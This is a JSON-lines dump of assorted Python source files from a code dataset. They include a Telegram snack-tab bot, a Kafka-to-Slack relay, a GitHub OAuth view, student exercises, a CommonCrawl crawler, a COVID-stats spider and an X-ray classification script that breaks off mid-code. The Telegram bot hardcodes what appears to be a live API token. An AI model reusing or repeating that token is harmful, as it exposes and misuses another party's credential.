+{"seq_id":"291974580","text":"import sys\nimport time\nimport telepot\nfrom telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton\nimport logger\nimport telecyc\nchat = 0\ntelecyc.file_exist()\n\ndef on_chat_message(msg):\n content_type, chat_type, chat_id = telepot.glance(msg)\n chat = chat_id\n\n keyboard = InlineKeyboardMarkup(inline_keyboard=[\n [InlineKeyboardButton(text='Ajouter Canette', callback_data='add_canette')],\n [InlineKeyboardButton(text='Ajouter Gateau', callback_data='add_gateau')],\n [InlineKeyboardButton(text='Retirer Canette', callback_data='remove_canette')],\n [InlineKeyboardButton(text='Retirer Gateau', callback_data='remove_gateau')],\n [InlineKeyboardButton(text='Mon Ardoise', callback_data='see_ardoise')],\n [InlineKeyboardButton(text='Mon ID', callback_data='id')],\n [InlineKeyboardButton(text='Creer un compte', callback_data='create')],\n [InlineKeyboardButton(text='Effacer l\\'ardoise', callback_data='wipe')],\n \n \n ])\n\n bot.sendMessage(chat_id, 'Creer un compte si c\\'est votre premiere connexion', reply_markup=keyboard)\n\ndef on_callback_query(msg):\n query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query')\n print('Callback Query:', query_id, from_id, query_data)\n if query_data == 'create':\n telecyc.create_user(from_id)\n logger.logger.critical('create_account :: %s ' , str(from_id))\n bot.answerCallbackQuery(query_id, text='I created Your Account')\n elif query_data == 'add_canette':\n c = telecyc.add_canette(from_id)\n logger.logger.critical('add_can :: %s ' , str(from_id))\n bot.answerCallbackQuery(query_id, text='Added One Can, You own Cycom ' + str(c) + ' of them')\n elif query_data == 'add_gateau':\n c = telecyc.add_gateau(from_id)\n logger.logger.critical('add_gateau :: %s ' ,str(from_id))\n bot.answerCallbackQuery(query_id, text='Added One cookie, You own Cycom ' + str(c) + ' of them')\n elif query_data == 'remove_canette':\n c = telecyc.rm_canette(from_id)\n logger.logger.critical('remove_can :: %s ' ,str(from_id))\n bot.answerCallbackQuery(query_id, text='Removed One Can, You own Cycom ' + str(c) + ' of them')\n elif query_data == 'remove_gateau':\n c = telecyc.rm_gateau(from_id)\n logger.logger.critical('remove_gateau :: %s ', str(from_id))\n bot.answerCallbackQuery(query_id, text='Removed One Cookie, You own Cycom ' + str(c) + ' of them')\n elif query_data == 'see_ardoise':\n bot.answerCallbackQuery(query_id, telecyc.see_ardoise(from_id))\n logger.logger.critical('see_ardoise :: %s ' , str(from_id))\n elif query_data == 'id':\n bot.answerCallbackQuery(query_id, text =(\"Ton id est: \" + str(from_id)))\n logger.logger.critical('see_id :: %s ' , str(from_id))\n elif query_data == 'wipe':\n telecyc.wipe(from_id)\n logger.logger.critical('clean_slate :: %s ' , str(from_id))\n bot.answerCallbackQuery(query_id, text='You Slate has been wiped')\n else:\n bot.answerCallbackQuery(query_id, text='Error')\n\nbot = telepot.Bot('257485010:AAHtWXAzE2KuIlTxmZ3D_mGoSokCje_FLL8')\nbot.message_loop({'chat': on_chat_message,\n 'callback_query': on_callback_query})\nprint('Listening ...')\n\nwhile 1:\n time.sleep(10)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"31771014","text":"#!/usr/bin/python\n\nfrom kafka import KafkaConsumer\nfrom slacker import Slacker\n\n\nKAFKA_SERVER = 'x.x.x.x:y'\nSLACK_API_KEY = 'x'\nSLACK_CHANNEL = '#x'\n\n\ndef post_to_slack(slack_message):\n slack = Slacker(SLACK_API_KEY)\n slack.chat.post_message(SLACK_CHANNEL, slack_message)\n\n\ndef main():\n # consume latest messages and auto-commit offsets\n consumer = KafkaConsumer('quagga-bgp',\n group_id='linops-controller.py',\n bootstrap_servers=[KAFKA_SERVER])\n for message in consumer:\n post_to_slack(str(message.value))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"linops-controller.py","file_name":"linops-controller.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"602608398","text":"from django.shortcuts import render\n\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n# Create your views here.\n\nimport requests\nfrom git_gg.settings import CLIENT_ID, CLIENT_SECRET\n\n\n@api_view(['GET'])\ndef get_code(request):\n\tcode = \"\"\n\tif 'code' in request.GET:\n\t\tcode = request.GET['code']\n\n\tgithub_url = 'https://github.com/login/oauth/access_token'\n\tparams = {}\n\tparams['client_id'] = CLIENT_ID\n\tparams['client_secret'] = CLIENT_SECRET\n\tparams['code'] = code\n\tresponse = requests.post(github_url, params=params)\n\tresponse = response.text.split('&')\n\tresponse_dict = {}\n\tfor r in response:\n\t\ts = r.split('=')\n\t\tresponse_dict[s[0]] = s[1]\n\tstatus = 200\n\tif 'error' in response_dict:\n\t\tstatus = 400\n\treturn Response(response_dict, status=status)\n","sub_path":"auth/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"362599299","text":"import math\n\n\ndef check_fermat(a, b, c, n):\n\n formula = (str(a) + '**' + str(n) + '+' + str(b) + '**' + str(n) + '=' + str(c) + '**' + str(n))\n print(formula)\n formula = str(int(math.pow(a, n))) + '+' + str(int(math.pow(b, n))) + '=' + str(int(math.pow(c, n)))\n print(formula)\n\n if n > 2 and math.pow(a, n) + math.pow(b, n) == math.pow(c, n):\n print('Holy smokes, Fermat was wrong!')\n else:\n print('No, that doesn’t work.')\n\n\ndef main():\n\n a = input('a:')\n b = input('b:')\n c = input('c:')\n n = input('n:')\n\n check_fermat(int(a), int(b), int(c), int(n))\n\n\nmain()","sub_path":"BUCI057N0/session_2/worksheet023_fermat_in.py","file_name":"worksheet023_fermat_in.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"489461253","text":"# The confidential and proprietary information contained in this file may\n# only be used by a person authorised under and to the extent permitted\n# by a subsisting licensing agreement from ARM Limited or its affiliates.\n#\n# (C) COPYRIGHT 2020 ARM Limited or its affiliates.\n# ALL RIGHTS RESERVED\n#\n# This entire notice must be reproduced on all copies of this file\n# and copies of this file may only be made by a person if such person is\n# permitted to do so under the terms of a subsisting license agreement\n# from ARM Limited or its affiliates.\n\n\"\"\"\nUtility script to convert a set of audio clip in a given location into\ncorresponding cpp files and a single hpp file referencing the vectors\nfrom the cpp files.\n\"\"\"\nimport glob\nimport numpy as np\nfrom os import path\nfrom argparse import ArgumentParser\n\nfrom gen_utils import write_license_header, write_autogen_comment, write_includes, write_hex_array, prepare_audio_clip\n\nparser = ArgumentParser()\nparser.add_argument(\"--audio_folder_path\", type=str, help=\"path to audio folder to convert.\")\nparser.add_argument(\"--source_folder_path\", type=str, help=\"path to source folder to be generated.\")\nparser.add_argument(\"--header_folder_path\", type=str, help=\"path to header folder to be generated.\")\nparser.add_argument(\"--sampling_rate\", type=int, help=\"target sampling rate.\", default=16000)\nparser.add_argument(\"--mono\", type=bool, help=\"convert signal to mono.\", default=True)\nparser.add_argument(\"--offset\", type=float, help=\"start reading after this time (in seconds).\", default=0)\nparser.add_argument(\"--duration\", type=float, help=\"only load up to this much audio (in seconds).\", default=0)\nparser.add_argument(\"--res_type\", type=str, help=\"Resample type.\", default='kaiser_best')\nparser.add_argument(\"--min_samples\", type=int, help=\"Minimum sample number.\", default=16000)\nparser.add_argument(\"--license_template\", type=str, help=\"Path to the header template file\",\n default=path.join(path.dirname(path.realpath(__file__)),\"header_template.txt\"))\nparser.add_argument(\"-v\", \"--verbosity\", action=\"store_true\")\nargs = parser.parse_args()\n\n\ndef write_hpp_file(header_file_path, header_template_file, num_audios, audio_filenames,\n audio_array_namesizes):\n\n with open(header_file_path, \"w\") as f:\n write_license_header(f, header_template_file)\n write_autogen_comment(f, path.basename(__file__), path.basename(header_file_path))\n\n header_guard = \"\\n#ifndef GENERATED_AUDIOCLIPS_H\\n#define GENERATED_AUDIOCLIPS_H\\n\\n\"\n f.write(header_guard)\n\n write_includes(f, [''])\n\n define_number_audios = \"\\n#define NUMBER_OF_AUDIOCLIPS (\"+ str(num_audios) +\"U)\\n\"\n f.write(define_number_audios)\n\n start_filenames_vector = \"static const char *audio_clip_filenames[] = {\"\n f.write(start_filenames_vector)\n\n files_list = ['\\n \"' + item + '\"' for item in audio_filenames]\n filenames_list = ', '.join(files_list)\n f.write(filenames_list)\n\n f.write('\\n};\\n\\n')\n\n extern_declarations = [f\"extern const int16_t {arr_name[0]}[{arr_name[1]}];\\n\" for arr_name in audio_array_namesizes]\n f.writelines(extern_declarations)\n f.write('\\n')\n\n imgarr_names_vector = 'static const int16_t *audio_clip_arrays[] = {\\n ' +\\\n (',\\n ').join(f\"{arr_name[0]}\" for arr_name in audio_array_namesizes) + '\\n};\\n\\n'\n f.write(imgarr_names_vector)\n\n end_header_guard = \"\\n#endif // GENERATED_AUDIOCLIPS_H\\n\"\n f.write(end_header_guard)\n\n\ndef write_cc_file(clip_filename, cc_filename, headerfiles, header_template_file, array_name,\n sampling_rate_value, mono_value, offset_value, duration_value, res_type_value, min_len):\n print(f\"++ Converting {clip_filename} to {path.basename(cc_filename)}\")\n\n with open(cc_filename, \"w\") as f:\n # Write the headers string, note\n write_license_header(f, header_template_file)\n write_autogen_comment(f, path.basename(__file__), path.basename(clip_filename))\n write_includes(f, headerfiles)\n\n clip_data, samplerate = prepare_audio_clip(path.join(args.audio_folder_path,clip_filename),sampling_rate_value, mono_value, offset_value, duration_value, res_type_value, min_len)\n clip_data = (((clip_data+1)/2)*(2**16-1)-2**15).flatten().astype(np.int16)\n\n # Convert the audio and write it to the cc file\n feature_vec_define = f\"const int16_t {array_name} [{len(clip_data)}] IFM_BUF_ATTRIBUTE = \"\n f.write(feature_vec_define)\n write_hex_array(f, clip_data)\n return len(clip_data)\n\n\ndef main(args):\n # Keep the count of the audio files converted\n audioclip_idx = 0\n audioclip_filenames = []\n audioclip_array_names = []\n header_filename = \"AudioClips.hpp\"\n headerfiles_to_inc = [f'\"{header_filename}\"',\n '\"BufAttributes.hpp\"',\n '']\n header_filepath = path.join(args.header_folder_path, header_filename)\n\n for filepath in sorted(glob.glob(path.join(args.audio_folder_path, '**/*.wav'), recursive=True)):\n filename = path.basename(filepath)\n try:\n audioclip_filenames.append(filename)\n\n # Save the cc file\n cc_filename = path.join(args.source_folder_path,\n (filename.rsplit(\".\")[0]).replace(\" \",\"_\")+\".cc\")\n array_name = \"audio\" + str(audioclip_idx)\n array_size = write_cc_file(filename, cc_filename, headerfiles_to_inc, args.license_template, array_name,\n args.sampling_rate, args.mono, args.offset,\n args.duration, args.res_type, args.min_samples)\n\n audioclip_array_names.append([array_name,array_size])\n # Increment audio index\n audioclip_idx = audioclip_idx + 1\n except:\n if args.verbosity:\n print(f\"Failed to open {filename} as an audio.\")\n\n write_hpp_file(header_filepath, args.license_template, audioclip_idx, audioclip_filenames, audioclip_array_names)\n\n\nif __name__ == '__main__':\n main(args)\n","sub_path":"docker/tensorflow-lite-corstone-fvp/software/resources/gen_scripts/gen_audio_cpp.py","file_name":"gen_audio_cpp.py","file_ext":"py","file_size_in_byte":6147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"252870308","text":"#!/usr/bin/env python\n\nfrom setuptools import setup, find_packages\n\n_VERSION = '0.0.1'\n\nsetup(\n name = 'PyZBlog',\n version = _VERSION,\n url = 'https://github.com/xsecure/PyZBlog/',\n project_urls = {},\n description = 'A python libary for Z-Blog',\n packages = find_packages(exclude=[]),\n install_requires = [\n 'pymysql>=0.9.3'\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"294442753","text":"import multiprocessing\nfrom queue import Queue\n\nimport requests\nimport json\nimport sys\nimport imp\nimport zlib\n\nfrom urllib.parse import urlparse\n\nfrom commoncrawl.Downloader import Downloader\nfrom helpers import FileHelper\n\nINDEX = \"2016-07\"\nBASEURL = 'https://aws-publicdatasets.s3.amazonaws.com/'\nINDEXURL = 'common-crawl/cc-index/collections/CC-MAIN-%s/indexes/' % INDEX\n\n\n# INDEX = sys.argv[0]\n\nclass CommonCrawl:\n def __init__(self):\n imp.reload(sys)\n self.domain = '.nl'\n self.threads = []\n self.queue = Queue()\n\n def start(self):\n print(\"---------- CommonCrawl Starting ----------\")\n\n self.search_commoncrawl()\n self.download_found()\n\n self.end()\n\n def end(self):\n print(\"---------- CommonCrawl Ending ----------\")\n\n from ml.ML import ML\n\n ml = ML(False)\n ml.start()\n\n \"\"\"Searches the Common Crawl Index for a specified domain.\"\"\"\n\n def search_commoncrawl(self):\n record_list = set()\n\n for j in range(1):\n unconsumed_text = ''\n filename = 'cdx-%05d.gz' % 260\n cc_url = BASEURL + INDEXURL + filename\n\n print(\"Trying archive %s\" % cc_url)\n # CsvHelper.write_index(cc_url)\n\n response = requests.get(cc_url, stream=True)\n decompressor = zlib.decompressobj(16 + zlib.MAX_WBITS)\n\n i = 0\n for chunk in response.iter_content(chunk_size=2048):\n i += 1\n if i % 20000 == 0:\n print(\"Iteration: %s\" % i)\n if len(decompressor.unused_data) > 0:\n # restart decompressor if end of a chunk\n to_decompress = decompressor.unused_data + chunk\n decompressor = zlib.decompressobj(16 + zlib.MAX_WBITS)\n else:\n to_decompress = decompressor.unconsumed_tail + chunk\n s = unconsumed_text + decompressor.decompress(to_decompress).decode('utf-8')\n unconsumed_text = ''\n\n for l in s.split('\\n'):\n pieces = l.split(' ')\n if len(pieces) < 3 or l[-1] != '}':\n unconsumed_text = l\n else:\n json_string = ' '.join(pieces[2:])\n try:\n rec = json.loads(json_string)\n url = get_base_url(rec)\n\n if url.endswith('.nl') and url not in record_list:\n print(url)\n record_list.add(url)\n except:\n print('JSON load failed: ')\n assert False\n\n print(\"Done searching, found %d urls\" % len(record_list))\n FileHelper.write_file('urls.txt', sorted(record_list))\n print(\"Done writing to file\")\n\n \"\"\"\"Downloading all the found urls\"\"\"\n\n def download_found(self):\n # Put all the found urls into a queue for the threads to read from\n self.queue = Queue()\n [self.queue.put(url) for url in FileHelper.read_file('urls.txt')]\n\n # Create the threads and wait for them to finish\n self.create_threads()\n\n for t in self.threads:\n t.join()\n\n \"\"\"\"Create a number of threads based on the host available amount of threads.\n These threads run an instance of the Downloader class\"\"\"\n\n def create_threads(self):\n # Creates threads and add them to a list.\n for i in range(1, multiprocessing.cpu_count()):\n name = \"Thread-%s\" % i\n thread = Downloader(name, INDEX, self.queue)\n thread.start()\n self.threads.append(thread)\n\n\n\"\"\"Get the base URL from the record\"\"\"\n\n\ndef get_base_url(record):\n url = record['url']\n location = 'http://' + urlparse(url).netloc\n\n return location\n\n\n\"\"\"\"Start the program\"\"\"\ncc = CommonCrawl()\ncc.start()\n","sub_path":"src/commoncrawl/CommonCrawl.py","file_name":"CommonCrawl.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"508823042","text":"import scrapy\nimport logging\nfrom covid19.items import TestingStats\nimport requests\nimport json\nfrom datetime import datetime as dt\nfrom dateutil.parser import parse\n\nclass OregonSpider( scrapy.Spider ) :\n\n name = \"oregon\"\n allowed_domains = [\"https://www.oregon.gov/\"]\n obj = [\"Oregon\"]\n case_categories = [\"positive\", \"negative\", \"pending\" ]\n names = [\"Oregon\" ]\n custom_settings = { \"LOG_LEVEL\" : logging.ERROR }\n\n\n def start_requests( self ):\n yield scrapy.Request( \"https://www.oregon.gov/oha/PH/DISEASESCONDITIONS/DISEASESAZ/Pages/emerging-respiratory-infections.aspx\", callback=self.parse )\n\n def parse( self, response ):\n item = TestingStats()\n item_dict = { \"name\" : self.names[0] }\n\n results = response.xpath( '/html/body/div[1]/div[6]/div/div[1]/div[2]/div/table' )\n\n for i, row in enumerate( results.xpath( \"tbody/tr\" )[0:3] ):\n if i == 0:\n value = row.xpath( 'td[2]/b/text()' ).get()\n else:\n value = row.xpath( \"td[2]/text()\" ).get()\n print( value )\n value = value.replace( ',', '' )\n item_dict[self.case_categories[i]] = int( value )\n\n deaths = response.xpath( '/html/body/div/div[6]/div/div[2]/div[2]/div/table[1]/tbody/tr[15]/td[3]/b/text()' ).get()\n item_dict[\"deaths\"] = deaths\n\n date = results.xpath( 'thead/tr/th/text()' ).get()\n date = parse( date, fuzzy=True )\n item[\"date\"] = date.strftime( \"%Y-%m-%d %H:%M %p\" )\n\n print( item_dict )\n\n for i in item_dict.keys():\n item[i] = item_dict[i]\n\n print( item.toAsciiTable() )\n return item","sub_path":"covid19/spiders/usa/oregon.py","file_name":"oregon.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"381635868","text":"import os\nimport subprocess as SP\n\ntry:\n import ectest.log as LOG\nexcept:\n import log as LOG\n\nCurrPath = os.path.join(os.path.abspath(os.getcwd()))\n\ndef shell(cmd, cwd=None, logfile=None, silent=False, DEBUG=False):\n realcmd = cmd\n if DEBUG:\n realcmd = \"echo \\\"%s\\\"\" % cmd\n result = None\n retval = 0\n\n if cwd != None:\n os.chdir(cwd)\n try:\n result = SP.check_output(realcmd, shell = True).splitlines()\n except SP.CalledProcessError as ecp:\n if not silent:\n LOG.Error(\"ERROR: failed to run \\\"%s\\\": returned %s\" % (cmd, ecp.returncode))\n LOG.print_error(ecp.output.splitlines())\n retval = ecp.returncode\n retlog = ecp.output.splitlines()\n except Exception as error:\n if not silent:\n LOG.Error(\"ERROR: failed to run \\\"%s\\\": %s\" % (cmd, error))\n retval = -1\n\n result_str = []\n if result:\n for l in result:\n if isinstance(l, bytes):\n result_str.append(l.decode(encoding=\"utf-8\", errors=\"strict\"))\n else:\n result_str = result\n break\n\n if logfile != None:\n with open(logfile, \"w\") as f:\n for l in result_str:\n f.write(l)\n f.write(\"\\n\")\n if cwd != None:\n os.chdir(CurrPath)\n\n return retval, result_str\n\nclass stoppable_task():\n cmd = None\n cwd = None\n running_process = None\n stop_event = None\n stdout = None\n stderr = None\n filename = None\n logfile = None\n\n def __init__(self, cmd, stop_event, cwd=None, filename=None):\n self.cmd = cmd\n if cwd:\n self.cwd = cwd\n self.stop_event = stop_event\n\n if filename:\n self.filename = filename\n self.logfile = open(self.filename, \"a\")\n self.stdout = self.logfile\n self.stderr = self.logfile\n else:\n self.stdout = SP.PIPE\n self.stderr = SP.PIPE\n\n self.running_process = SP.Popen(\n cmd.split(),\n cwd=cwd,\n stdout=self.stdout,\n stderr=self.stderr)\n\n def wait(self):\n if not self.running_process or not self.stop_event:\n return -1, [\"Error to launch the cmd %s\" % self.cmd]\n\n while self.running_process.poll() == None and not self.stop_event.is_set():\n self.stop_event.wait(timeout=5)\n if self.stop_event.is_set():\n try:\n self.running_process.terminate()\n except:\n pass\n\n returncode = self.running_process.poll()\n if self.filename:\n self.logfile.flush()\n self.logfile.close()\n return returncode, []\n else:\n (stdoutdata, stderrdata) = self.running_process.communicate()\n return returncode, stdoutdata\n","sub_path":"deployment/autodeploy/ectest/cmd.py","file_name":"cmd.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"478331447","text":"f = open(\"æfing2.txt\",'r',encoding = 'utf-8')\ninnihald = f.read()\nf.close()\nprint(innihald)\n\nlisti=list(innihald)\nx=' '\nfor x in listi:\n listi.remove(' ')\nlisti = list(map(int, listi))\nmedaltal=sum(listi)/len(listi)\nprint(round(medaltal,2))","sub_path":"Forritun/Gagnasafnsfræði/æfing2.2.py","file_name":"æfing2.2.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"142042091","text":"class student:\n def __init__(self, fullname, age, grade):\n self.fullname=fullname\n self.age=age\n self.grade=grade\n def belongs(self):\n if self.age==15:\n print(\"proti likeiou\")\n elif self.age==16:\n print(\"deutera likeiou\")\n elif self.age==17:\n print(\"triti likeiou\")\n\nomiros=student(input(\"dose to onoma\"),int(input(\"dose tin ilikia\")),int(input(\"dose tin taksi\")))\n\nprint(omiros.age)\nprint(omiros.fullname)\nprint(omiros.grade)\nomiros.belongs()\n","sub_path":"9_7_2019 class 1.py","file_name":"9_7_2019 class 1.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"320560951","text":"__author__ = 'liubov'\nfrom lxml import etree\n\n\ntree = etree.parse('morinaU')\nroot1 = tree.getroot()\n\nfor element in root1.iter('ingredient'):\n attr_val = element.get('amount')\n attribute_list = attr_val.split(',')\n\n for attrib in attribute_list:\n sub_elem = etree.SubElement(element, 'specis')\n specis = sub_elem.text =''\n\noutput = etree.tostring(root1, pretty_print=True)\nprint(output.decode().encode())\nf = open('morinaU1', 'w')\nf.write(output.decode())\nprint(output.decode())\nf.close()\n","sub_path":"Bazanova_Lyubov/Bazanova_Lyubov2.py","file_name":"Bazanova_Lyubov2.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"615053300","text":"##############################################################################\n# server-python.py\n# Name:\n# NetId:\n###############################################################################\n\nimport sys\nimport socket\nimport queue\n\nRECV_BUFFER_SIZE = 2048\nQUEUE_LENGTH = 1\n\n\ndef server(server_port):\n #print('Listening on port {}'.format(server_port))\n myQueue = queue.Queue(QUEUE_LENGTH)\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.bind(('', server_port))\n s.listen()\n while True:\n conn, addr = s.accept()\n myQueue.put((conn, addr))\n\n # Process connection queue \n if myQueue.full():\n #print('Processing conn...')\n while not myQueue.empty():\n conn, addr = myQueue.get()\n #print(f'Connected by {addr}')\n res = \"\"\n while True:\n data = conn.recv(RECV_BUFFER_SIZE)\n if not data:\n break\n res += data.decode()\n print(res)\n \n else:\n #print('Queue size:', myQueue.qsize())\n pass\n \n\ndef main():\n \"\"\"Parse command-line argument and call server function \"\"\"\n if len(sys.argv) != 2:\n sys.exit(\"Usage: python server-python.py [Server Port]\")\n server_port = int(sys.argv[1])\n server(server_port)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"assignments/assignment1/client_server/server-python.py","file_name":"server-python.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"412568144","text":"import numpy as np\r\nimport pandas as pd\r\nfrom matplotlib import pyplot as plt\r\nfrom skimage.feature import hog, greycomatrix, greycoprops\r\nimport cv2, pathlib\r\nfrom sklearn import svm, tree, ensemble, linear_model\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.model_selection import train_test_split,GridSearchCV\r\nfrom sklearn.metrics import classification_report,confusion_matrix,roc_curve\r\n\r\nfiles_path = 'resimler/COVID_DATASET/'\r\nfiles_path = pathlib.Path(files_path)\r\nimages_dict = {\r\n 'covid': list(files_path.glob('COVID/*')),\r\n 'pneumonia': list(files_path.glob('PNEUMONIA/*')),\r\n\r\n}\r\n\r\n\r\nlabels_dict = {\r\n 'covid': 0,\r\n 'pneumonia': 1,\r\n}\r\n\r\nIMAGE_SHAPE = (224, 224)\r\nX, y = [], []\r\nfor name, images in images_dict.items():\r\n for image in images:\r\n img = cv2.imread(str(image), 1)\r\n resized_img = cv2.resize(img, dsize=IMAGE_SHAPE)\r\n blurred_img = cv2.GaussianBlur(resized_img, ksize=(3, 3), sigmaX=0.5, sigmaY=0.7,\r\n borderType=cv2.BORDER_CONSTANT)\r\n hsv_img = cv2.cvtColor(blurred_img, cv2.COLOR_BGR2HSV)\r\n h, s, v = hsv_img[:, :, 0], hsv_img[:, :, 1], hsv_img[:, :, 2]\r\n value = 10\r\n limit = 255 - value\r\n v[v > limit] = 255\r\n v[v <= limit] += value\r\n hsv_img_new = cv2.merge((h, s, v))\r\n img_brightness = cv2.cvtColor(hsv_img_new, cv2.COLOR_HSV2RGB)\r\n img_brightness_gray = cv2.cvtColor(img_brightness, cv2.COLOR_RGB2GRAY)\r\n clahe = cv2.createCLAHE(clipLimit=1.5, tileGridSize=(8, 8))\r\n img_hist_gray = clahe.apply(img_brightness_gray)\r\n X.append(img_hist_gray)\r\n y.append(labels_dict[name])\r\n\r\ndataset = pd.DataFrame()\r\nfor image in X:\r\n df = pd.DataFrame()\r\n i = 0\r\n glcm_features = ['energy','correlation','homogeneity','contrast']\r\n for distance in np.arange(1,6,2):\r\n for angle in np.arange(0,(3*np.pi/4)+0.1,np.pi/4):\r\n i += 1\r\n for feature in glcm_features:\r\n GLCM = greycomatrix(image,[distance],[angle])\r\n df['GLCM_{}_{}'.format(feature,i)] = greycoprops(GLCM, prop=feature)[0]\r\n\r\n fd, hog_image = hog(image, orientations=8, pixels_per_cell=(16, 16),cells_per_block=(1, 1), visualize=True)\r\n df['HOG_mean'] = np.mean(fd)\r\n df['HOG_std'] = np.std(fd)\r\n\r\n ksize = 5\r\n psi = 0\r\n j = 0\r\n for theta in np.arange(np.pi / 4, 2 * np.pi, np.pi / 4):\r\n for sigma in (1, 3, 5, 7):\r\n for lamda in (np.pi / 4, np.pi, np.pi / 4):\r\n for gamma in (0.5, 0.9):\r\n kernel = cv2.getGaborKernel((ksize, ksize), sigma, theta, lamda, gamma, psi)\r\n fimg = cv2.filter2D(image, cv2.CV_8UC3, kernel)\r\n fimg_mean = np.mean(fimg)\r\n df['Gabor_{}'.format(j+1)] = fimg_mean\r\n j += 1\r\n\r\n\r\n dataset = dataset.append(df)\r\n\r\nscaler = MinMaxScaler()\r\nscaler.fit(dataset)\r\ndataset = scaler.transform(dataset)\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(dataset,y,test_size=0.2,random_state=42)\r\n\r\nmodel_params = {\r\n 'Support Vector Machines': {\r\n 'model':svm.SVC(gamma='auto'),\r\n 'params': {\r\n 'C':[1,10,20,30],\r\n 'kernel':['linear','rbf']\r\n }\r\n },\r\n 'Random Forest': {\r\n 'model':ensemble.RandomForestClassifier(),\r\n 'params': {\r\n 'n_estimators': [10,30,50,100],\r\n 'criterion': ['gini','entropy']\r\n }\r\n },\r\n 'Decision Tree': {\r\n 'model': tree.DecisionTreeClassifier(),\r\n 'params': {\r\n 'criterion': ['gini', 'entropy']\r\n }\r\n },\r\n 'Logistic Regression': {\r\n 'model': linear_model.LogisticRegression(solver='liblinear'),\r\n 'params': {\r\n 'C': [1, 10, 20, 30]\r\n }\r\n }\r\n}\r\n\r\n# 115-163 satırları arası tablo oluşturmak için.\r\n\r\ndf_results = pd.DataFrame()\r\nbest_scores = []\r\nfor model_name, mp in model_params.items():\r\n clf = GridSearchCV(mp['model'],mp['params'],cv=5)\r\n clf.fit(X_train,y_train)\r\n best_scores.append({\r\n 'model':clf.best_estimator_,\r\n 'best_score':clf.best_score_,\r\n 'best_params':clf.best_params_\r\n })\r\n clf_result = pd.DataFrame(clf.cv_results_)\r\n clf_result['Model Adı'] = model_name\r\n df_results = df_results.append(clf_result)\r\n\r\ndf_best_results = pd.DataFrame(best_scores)\r\n\r\n\r\ndf_final_results = pd.DataFrame()\r\nfor model_name in model_params:\r\n df_results_model = df_results[df_results['Model Adı'] == model_name]\r\n label_names = ['Covid_Precision', 'Covid_Recall', 'Covid_F1-score',\r\n 'Pneumonia_Precision', 'Pneumonia_Recall', 'Pneumonia_F1-score']\r\n\r\n test_scores = []\r\n cr_s = {}\r\n m = 0\r\n\r\n if model_name == 'Support Vector Machines':\r\n for i,j in zip(df_results_model['param_C'],df_results_model['param_kernel']):\r\n model = svm.SVC(C=i,kernel=j,gamma='auto')\r\n model.fit(X_train,y_train)\r\n score = model.score(X_test, y_test)\r\n test_scores.append(score)\r\n y_pred = model.predict(X_test)\r\n cr = classification_report(y_test, y_pred, output_dict=True, zero_division=0)\r\n cr_s[str(m)] = np.array(list(\r\n map(lambda k: [cr[str(k)]['precision'], cr[str(k)]['recall'], cr[str(k)]['f1-score']],\r\n range(0, 2)))).flatten()\r\n m += 1\r\n\r\n df_results_model['Test Doğruluk'] = test_scores\r\n\r\n elif model_name == 'Random Forest':\r\n for i, j in zip(df_results_model['param_n_estimators'], df_results_model['param_criterion']):\r\n model = ensemble.RandomForestClassifier(n_estimators=i,criterion=j)\r\n model.fit(X_train, y_train)\r\n score = model.score(X_test, y_test)\r\n test_scores.append(score)\r\n y_pred = model.predict(X_test)\r\n cr = classification_report(y_test, y_pred, output_dict=True, zero_division=0)\r\n cr_s[str(m)] = np.array(list(\r\n map(lambda k: [cr[str(k)]['precision'], cr[str(k)]['recall'], cr[str(k)]['f1-score']],\r\n range(0, 2)))).flatten()\r\n m += 1\r\n\r\n df_results_model['Test Doğruluk'] = test_scores\r\n\r\n elif model_name == 'Decision Tree':\r\n for i in (df_results_model['param_criterion']):\r\n model = tree.DecisionTreeClassifier(criterion=i)\r\n model.fit(X_train, y_train)\r\n score = model.score(X_test, y_test)\r\n test_scores.append(score)\r\n y_pred = model.predict(X_test)\r\n cr = classification_report(y_test, y_pred, output_dict=True, zero_division=0)\r\n cr_s[str(m)] = np.array(list(\r\n map(lambda k: [cr[str(k)]['precision'], cr[str(k)]['recall'], cr[str(k)]['f1-score']],\r\n range(0, 2)))).flatten()\r\n m += 1\r\n\r\n df_results_model['Test Doğruluk'] = test_scores\r\n\r\n else:\r\n for i in (df_results_model['param_C']):\r\n 